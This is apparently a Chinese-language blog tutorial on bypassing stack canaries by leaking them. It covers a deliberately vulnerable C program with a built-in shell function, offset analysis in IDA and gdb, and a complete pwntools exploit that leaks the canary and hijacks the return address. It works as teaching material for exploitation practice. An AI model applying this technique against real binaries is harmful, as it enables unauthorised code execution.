Canary学习(泄露Canary)
程序员文章站
2022-03-27 20:41:46
...
canary
原理
- 通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖ebp,eip等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址让shellcode执行。
- 当启用栈保护时,函数开始执行的时候会先往栈底插入cookie信息,如果不合法就停止程序运行(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将cookie信息覆盖掉,导致栈保护检查失败而阻止shellcode的执行,避免漏洞利用成功。在linux中我们将cookie信息成为canary。
64位系统中其栈结构如下
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| local var |
Low | |
Address
Canary绕过
- Canary设计以字节\x00结尾,本意是保证Canary可以截断字符串。泄露栈中的Canary的思路是覆盖Canary的低字节,来打印出剩余的Canary部分。需要合适的输出函数,并且需要先泄露Canary,之后再次溢出控制执行流程。
- 需要注意:Canary一般最低位是\x00,也就是结尾处,64位程序的canary的大小是8个字节,32位程序的canary的大小是4个字节。
- canary的位置不一定与ebp存储的位置相邻,具体得看程序的汇编操作,不同编译器在进行编译时canary位置可能出现偏差,有可能ebp与canary之间有字节被随机填充
example
// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
编译
编译之前先安装相关依赖(64位系统编译32位程序)
gcc -m32 -o ex2 ex2.c
checksec
开启了canary
IDA分析
在read函数下断点,查找buf跟ebp的偏移,为0x70,十进制为112
然后我们分析canary跟ebp之间的偏移
在这里把canary的值给eax,然后进行压栈
canary的位置与ebp相差0xc,十进制为12
也就是说buf跟canary相差100,buf跟ebp相差112,canary跟ebp相差12
(可能存在偏差,稍后使用gdb进行调试)
先把canary泄露出来
- 利用canary最后一个字节为0x00的特性
from pwn import *
sh = process('./ex2')
sh.recvuntil("Hello Hacker!\n")
sh.sendline('A'* 100)
#sh.interactive()
sh.recvuntil('A'* 100)
addr = u32(sh.recv(4)) - 0xa
print hex(addr)
结果如下:
[+] Starting local process './ex2': pid 41815
0xc8f3fd00
[*] Stopped process './ex2' (pid 41815)
减去0xa的原因:
- canary的最低字节为0x00,学过c语言的应该都知道0x00意味着一个字符串的结束。
- printf函数或者put函数无法输出结束字符之后的字符
- 故上述代码中压入了100个A和回车,回车将0x00覆盖,回车的ascii码为10,10的十六进制就是0xa
- 0x00被0xa覆盖掉之后,剩下的高字节部分就可以泄露出来了
动态调试,确认偏移位置
在这个地址处下断点
gdb -q ex2
b *0x08048605
r
查看从栈顶开始的50个对象和elements的内存布局
gef➤ telescope 0xffffcff0 50
0xffffcff0│+0x0000: 0xf7fb7000 → 0x001afdb0 ← $esp
0xffffcff4│+0x0004: 0xf7fb7d60 → 0xfbad2887
0xffffcff8│+0x0008: 0xf7fb8870 → 0x00000000
0xffffcffc│+0x000c: 0xf7e711c2 → <__overflow+66> add esp, 0x14
0xffffd000│+0x0010: 0xf7fb7d60 → 0xfbad2887
0xffffd004│+0x0014: 0x0000000a
0xffffd008│+0x0018: 0x000000e0
0xffffd00c│+0x001c: 0xf7fb7000 → 0x001afdb0
0xffffd010│+0x0020: 0xf7e71187 → <__overflow+7> add ebx, 0x145e79
0xffffd014│+0x0024: 0xf7fb7000 → 0x001afdb0
0xffffd018│+0x0028: 0x0000000d
0xffffd01c│+0x002c: 0xf7e6629b → <puts+347> add esp, 0x10
0xffffd020│+0x0030: 0xf7fb7d60 → 0xfbad2887
0xffffd024│+0x0034: 0x0000000a
0xffffd028│+0x0038: 0x0000000d
0xffffd02c│+0x003c: 0xf7e6c465 → <setbuf+21> add esp, 0x1c
0xffffd030│+0x0040: 0xf7fe77eb → add esi, 0x15815
0xffffd034│+0x0044: 0xf7e06700 → 0xf7e06700 → [loop detected]
0xffffd038│+0x0048: 0x00000000
0xffffd03c│+0x004c: 0xf7fb7d60 → 0xfbad2887
0xffffd040│+0x0050: 0xffffd078 → 0x00000000
0xffffd044│+0x0054: 0xf7fedff0 → pop edx
0xffffd048│+0x0058: 0xf7e6614b → <puts+11> add ebx, 0x150eb5
0xffffd04c│+0x005c: 0x00000000
0xffffd050│+0x0060: 0xf7fb7000 → 0x001afdb0
0xffffd054│+0x0064: 0xf7fb7000 → 0x001afdb0
0xffffd058│+0x0068: 0xffffd078 → 0x00000000
0xffffd05c│+0x006c: 0x81a87c00
0xffffd060│+0x0070: 0x08048718 → "Hello Hacker!"
0xffffd064│+0x0074: 0xffffd124 → 0xffffd2f0 → "/mnt/hgfs/ubuntu_share/pwn/sus/ex2"
0xffffd068│+0x0078: 0xffffd078 → 0x00000000 ← $ebp
查看canary
gef➤ canary
[+] Found AT_RANDOM at 0xffffd2db, reading 4 bytes
[+] The canary of process 40950 is 0x81a87c00
可知偏移为12,也就是0xc
编写exp
from pwn import *
#context.binary = 'ex2'
sh = process('./ex2')
get_shell = ELF("./ex2").sym["getshell"]
print "/bin/sh:" + hex(get_shell)
sh.recvuntil("Hello Hacker!\n")
sh.sendline('A'* 100)
sh.recvuntil('A'* 100)
addr = u32(sh.recv(4)) - 0xa
print hex(addr)
payload = 'A'* 100 + p32(addr) + 'A'* 12 + p32(get_shell)
sh.send(payload)
sh.recv()
sh.interactive()
上一篇: 浅析angularJS中的ui-router和ng-grid模块
下一篇: PHP解释器模式用法详解